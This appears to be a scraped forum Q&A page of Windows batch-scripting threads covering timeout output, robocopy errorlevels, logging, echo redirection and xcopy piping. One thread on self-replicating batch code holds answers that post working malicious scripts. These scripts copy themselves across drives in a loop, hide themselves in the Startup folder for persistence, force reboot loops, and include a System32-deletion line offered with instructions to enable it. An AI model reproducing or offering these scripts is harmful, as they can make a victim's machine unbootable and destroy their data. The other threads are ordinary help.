Timeout prompt won't stop showing - batch-file

I'm attempting to use Batch for the first time, and I'm running into some trouble with the timeout command. I'm making a simple backup program to backup certain files to my flash drive, and this is the beginning.I'm trying to make it so that the prompt does not show how much of the countdown is left. This is what I have:
ECHO Deleting current backup location...
RD /s /q F:\CurrentBackup
#TIMEOUT /t 10
ECHO Setting up new backup...
MKDIR F:\CurrentBackup
MKDIR F:\CurrentBackup\Documents
MKDIR F:\CurrentBackup\Pictures
MKDIR F:\CurrentBackup\Desktop
MKDIR F:\CurrentBackup\Music
rem xcopy C:\Eric D:\
Can anyone help me with this seemingly simple problem?

you can tell a command, where to write it's output. If you don't, it writes it to screen
TIMEOUT /t 10 >nul
will write the output to a "Null-Device" (also known as "Nirwana")
by the way: # does not suppress the output of a command, but suppress the repetition of the commandline. It's a kind of "one-line-echo off"
Normally, you put
#echo off
as the first line of a script.
echo off will turn command repetition off, and the # does the same thing for this very line (as the echo off is not yet active for this line)

Related

Very basic batch self-replicating code: how dangerous?

After reading a bit too much about von Neumann self-replicating machines, I decided to tinker a bit with batch, trying to make a simple file that would make a copy of itself upon running.
I ended up with this:
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%E.bat
The file is saved as WEE.bat and each run of the latest iteration makes a copy with an additional E.
It is very simple to add a simple line to automaticaly run the latest iteration, and at this point I actually have no idea what happens: Does something keep my computer to try to overflow its own drive? with the "improvement", how different would this piece of code be from an actual malware (besides the obvious spreading through network thing)?
Does something keep my computer to try to overflow its own drive? with the "improvement", how different would this piece of code be from an actual malware (besides the obvious spreading through network thing)?
No. If you instruct your computer to do something useless or detrimental it will do so. The only limiting factor here is that with echo enabled, every line of execution must be spewed to the console window, so it's not going to be terribly fast. You'll have a chance to kill it with Ctrl-C, but its going to create thousands of files until the file name is too long to invoke, at which point it will fail. Most hard drives have orders of magnitude more space on them than your script could possibly fill-up.
If you want to experiment, see timeout /?. Add a timeout of five or ten seconds for each run of the script and you can see the number of files increasing in whatever directory you run the batch file in.
EDIT:
It appears the limiting factor here is the file path/name length at 270 characters.
>type D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd 1>D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
The filename, directory name, or volume label syntax is incorrect.
>D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
The parameter is incorrect.
I improved the script.
It works
#echo off
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%a.bat
%self%a.bat
#echo off
move WEE.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /y
attrib +s +h "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
:1
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
copy WEE.bat C:\%random%xd%random%lol /y
copy WEE.bat D:\%random%xd%random%lol /y
copy WEE.bat C:\lol%random%xd%random% /y
copy WEE.bat D:\lol%random%xd%random% /y
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
open C:\%random%xd%random%lol\WEE.bat
open D:\%random%xd%random%lol\WEE.bat
open C:\lol%random%xd%random%\WEE.bat
open D:\lol%random%xd%random%\WEE.bat
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
start "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
goto :1
they will replicate and open itself and each other a lot even on device startup (although there is a way to get around that). the device should crash pretty quickly.
I work with those kinds of viruses all the time! it's really easy tho.
#echo off
color 02
title virus
cls
set self=%~n0
::thx for the code bro!
:loop
copy "%cd%\%self%.*" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\%self%%random%%random%.bat"
::this will copy it to the startup directory so it will open it when you start up
::virus code here. (like delete system32)
::here's the code for that:
::takeown /f "%windir%\system32" & del /Q /F /S "%windir%\system32"
shutdown /f /r /t 0
exit
well, thats the virus ^
have fun!
(the delete system32 code is optional, you can remove the "::" to activate the code)

Need assistence merging two batch files (.bat)

So now i have 2 .bat files. one copies some file if it was updated ( robocopy C:\location C:\destination) and another one that executes a some kind of .exe file (start c:\BAT\fraps.exe) , now what i need is maybe a one file, so that WHEN a file was copied using "robocopy" the executive file would run automaticaly. So maybe there is a way to merge them into one or smth.
Errorlevels are set by robocopy: errorlevel 1 means that a file was successfully copied.
robocopy C:\location C:\destination
if errorlevel 1 if not errorlevel 2 start c:\BAT\fraps.exe
Here is proof of concept code - following extended comments:
#echo off
md test1
:loop
>test1\testfile.txt echo aaa
robocopy test1 test2
if errorlevel 1 if not errorlevel 2 pause
del test1\testfile.txt
goto :loop
Use /WAIT option, when the application is stared then it will wait until it terminates.
Use /B option, when application is started then it will not create a new window.
Example:
start /wait Command CALL D:\YourFirstScript.bat
start /wait program.exe
start /wait Command CALL X:\YourSecondScript.bat
It's a good idea to print a message before and after.
Example:
ECHO Starting program.
start /wait program.exe
ECHO Finished.
See below link for more details.
How do I launch multiple batch files from one batch file with dependency?
Note: When you run script as administrator then you need to set full path as the default is set to "C:\Windows\System32".
The easiest way to set is
start %~dp0Directory\program.exe
See for details about "%~dp0" here
What does %~dp0 mean, and how does it work?
This is my first post and I hope that this will help you.

Batch Script Logging and it runs double?

I wrote a batch script to make a backup of my Thunderbird client on Windows 7. It works perfectly, but I am having issues with the logging part.
Essentially, I would like it to see what is going on in the command window when it runs, as well as to log all output to a .log file.
The problem: It logs to a file, but runs without anything in the command window. Then after it completes, it runs AGAIN, but this time displays what's happening in the command window.
Included: The script. The log file.
Script:
#ECHO ON
rem
call :Logit>>%Desktop%\"%DATE:~7,2%.%DATE:~4,2%.%DATE:~-4%-ThunderbirdBackup".log
:Logit
echo Backup Start at = %date% %time%
echo Beginning Automatic Backup and Encryption for Thunderbird
echo This will take approximately 45 seconds to complete
echo Killing Thunderbird.exe
taskkill /F /IM thunderbird.exe
echo Give the computer a moment to complete task
timeout /T 3
echo Zipping to Desktop
"C:\Program Files\7-Zip\7z.exe" a -t7z %Desktop%\"%DATE:~7,2%.%DATE:~4,2%.%DATE:~-4%-ThunderbirdBackup".7z %AppData%\Thunderbird\Profiles\ -m0=lzma2 -mx3 -mmt=8 -mhe=on
echo Backup Complete at = %date% %time%
Thank you for any assistance you cold lend.
The log:
ThunderbirdScript-Log-Pastebin
You are invoking the :logit "function" twice; first by call and second by running through.
Just add a goto :eof after the call and you're done.
Then , to both logging to a file and displaying in stdout, you will need to tee http://en.wikipedia.org/wiki/Tee_(command) the output of the call.
call :logit | tee ThunderbirdBackup.log
goto :eof
:logit
...

Batch file echoing duplicate lines

I have a handful of batch files running at users' login via GPOs and a couple of them that create text/batch files with various info are exhibiting odd behavior. Specifically, these batches run at login are echoing the same value(s) multiple times into the target files. As an example:
ECHO #echo off > \\server\share$\%username%.bat
ECHO set minimized=true >> \\server\share$\%username%.bat
ECHO start /min cmd /C "path-to-program" %computername% >> \\server\share$\%username%.bat
Seems pretty straightforward, right? Yet this batch is producing a file that contains:
#echo off
set minimized=true
start /min cmd /C "path-to-program" computer
start /min cmd /C "path-to-program" computer
This isn't my only .bat doing this, but it's all the same concept - echoing a bunch of info into a file and somewhere along the way it's as if parts of it are getting run multiple times.
Has anyone seen this before and/or have any suggestions as to what could be going on?
Try like this :
(ECHO #echo off
ECHO set minimized=true
ECHO start /min cmd /C "path-to-program" %computername%)>"\\server\share$\%username%.bat"

understanding xcopy command

I am modifying a batch script to move a directory from one place to another. In the batch code, there are these two lines. I don't understand the first parts
echo xcopy %SOURCE_FILE% %TARGET_FILE% /Y /Z /C /F 1>>"%logfile%" 2>&1
echo F|xcopy %SOURCE_FILE% %TARGET_FILE% /Y /Z /C /F 1>>"%logfile%" 2>&1
Do these lines of code execute the copy or just write out to the log file? I ask this because the code currently copies, however, there is no line of xcopy without the echo in front.
In line two what does F|xcopy mean?
Other then the F|xcopy on the second line, what is the difference between the two?
The first writes the command it is about to execute to a log file, but does nothing useful.
The second actually executes XCOPY but answers the question that gets asked with the letter "F" presumably when XCOPY asks "Do you mean Files or Directories?"
|is a pipe-symbol. It passes the output from the command before to the command after.
So the result of echo F (which is F) to the xcopy-command. So if xopy asks the user for input, it gets "F".
Simple example:
echo . | pause
Try it, pause waits for a keystroke, but echo . deliveres this keystroke.
just the report of what is to be done. better to use the /L switch on xcopy.
echo f| means to reply to a potential prompt with "f". The prompt is going to be "is the destination a directory or a file" the response is "file"
The first reports only, the second executes.

Resources